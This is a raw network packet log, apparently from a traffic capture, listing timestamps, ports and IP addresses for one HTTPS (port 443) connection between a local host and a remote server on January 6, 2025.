Jan 6, 2025 13:55:05.497621059 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.497642994 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.497693062 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.497697115 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.497731924 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.497747898 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.519185066 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.519202948 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.519268990 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.519275904 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.519330978 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.713577032 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.713654041 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.713712931 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.713768959 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.714793921 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.714824915 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.714859009 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.714867115 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.714890003 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.714909077 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.714941978 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.714956045 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.714987993 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.714992046 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715017080 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715035915 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715053082 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715094090 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715101004 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715114117 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715132952 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715145111 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715148926 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715162039 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715171099 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715188980 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715192080 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715215921 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715240955 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715249062 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715261936 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715307951 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715317965 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715337038 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715358019 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715369940 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715382099 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715394974 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715435028 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715444088 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715450048 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715467930 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715493917 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715500116 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715518951 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715533972 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715543032 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715548038 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715563059 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715584040 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715588093 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715615988 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715629101 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715640068 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715652943 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715699911 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715704918 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715739012 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715780020 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715792894 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715837955 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715842009 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715851068 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715872049 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715883017 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715888023 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715909958 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715941906 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.715953112 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.715966940 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.716003895 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.716007948 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.716027975 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.716042995 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.716053963 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.716068029 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.716111898 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.716115952 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.716134071 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.716149092 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.716156960 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.716167927 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.716183901 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.716208935 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.716222048 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.716228008 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.716243982 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.716259003 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.716263056 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.716286898 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.716311932 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.718559027 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.718574047 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.718671083 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.718674898 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.718714952 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.719933987 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.720055103 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.735236883 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.735249996 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.735322952 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.735327959 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.735368013 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.735615015 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.735629082 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.735663891 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.735667944 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.735698938 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.735707045 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.756915092 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.756930113 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.757000923 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.757006884 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.757061005 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.758655071 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.758673906 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.758709908 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.758713961 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.758749962 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.758765936 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.759557009 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.759572983 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.759624004 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.759628057 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.759687901 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.762590885 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.762609005 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.762655020 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.762660980 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.762691021 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.762713909 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.769987106 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.770009995 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.770051003 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.770055056 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.770092010 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.770103931 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.791167021 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.791182041 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.791239977 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.791244984 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.791284084 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.825937033 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.825951099 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.826005936 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.826009989 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.826055050 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.826467037 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.826483011 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.826613903 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.826618910 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.826668024 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.847665071 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.847678900 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.847728014 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.847732067 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.847758055 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.847795010 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.849282980 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.849302053 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.849343061 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.849347115 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.849375010 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.849397898 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.850004911 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.850018978 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.850069046 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.850073099 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.850111008 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.853128910 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.853146076 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.853199005 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.853205919 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.853243113 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.860572100 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.860584974 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.860636950 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.860641003 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.860676050 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.860709906 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.881874084 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.881887913 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.881968975 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.881973982 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.882016897 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.916779995 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.916796923 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.916899920 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.916906118 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.917032957 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.917052031 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.917099953 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.917099953 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.917105913 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.917117119 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.917151928 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.938246012 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.938260078 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.938460112 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.938465118 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.938519955 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.940037012 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.940052986 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.940109015 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.940113068 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.940154076 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.940728903 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.940745115 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.940804005 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.940809011 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.940855980 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.943873882 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.943888903 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.943949938 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.943955898 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.943980932 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.943999052 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.951287031 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.951301098 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.951385975 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.951390982 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.951431990 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.972501993 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.972523928 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.972774982 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:05.972779989 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:05.972831011 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.007421017 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.007435083 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.007551908 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.007556915 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.007703066 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.007817984 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.007833004 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.007894039 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.007899046 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.007940054 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.028975010 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.028990030 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.029139996 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.029145002 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.029305935 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.030654907 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.030685902 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.030724049 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.030730009 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.030766010 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.030786991 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.031443119 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.031505108 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.031538010 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.031546116 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.031573057 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.031594992 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.034410000 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.034430981 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.034502029 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.034507990 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.034557104 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.041908026 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.041923046 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.042028904 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.042037964 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.042074919 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.063186884 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.063204050 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.063338041 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.063348055 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.063493013 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.097953081 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.097968102 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.098037958 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.098050117 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.098089933 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.098368883 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.098382950 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.098424911 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.098432064 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.098469019 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.119812965 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.119828939 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.120012999 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.120023966 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.120090008 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.121428013 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.121443033 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.121496916 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.121504068 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.121541977 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.122102976 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.122118950 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.122169971 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.122179031 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.122220993 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.125205994 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.125226021 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.125278950 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.125289917 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.125336885 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.132617950 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.132632971 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.132723093 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.132746935 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.132792950 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.154067993 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.154088974 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.154272079 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.154272079 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.154280901 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.154329062 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.189378977 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.189395905 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.189590931 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.189599037 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.189723015 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.189740896 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.189759970 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.189764977 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.189795971 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.189825058 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.210383892 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.210401058 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.210470915 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.210484982 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.210534096 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.212057114 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.212076902 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.212162018 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.212168932 CET	443	49704	104.21.48.1	192.168.2.5
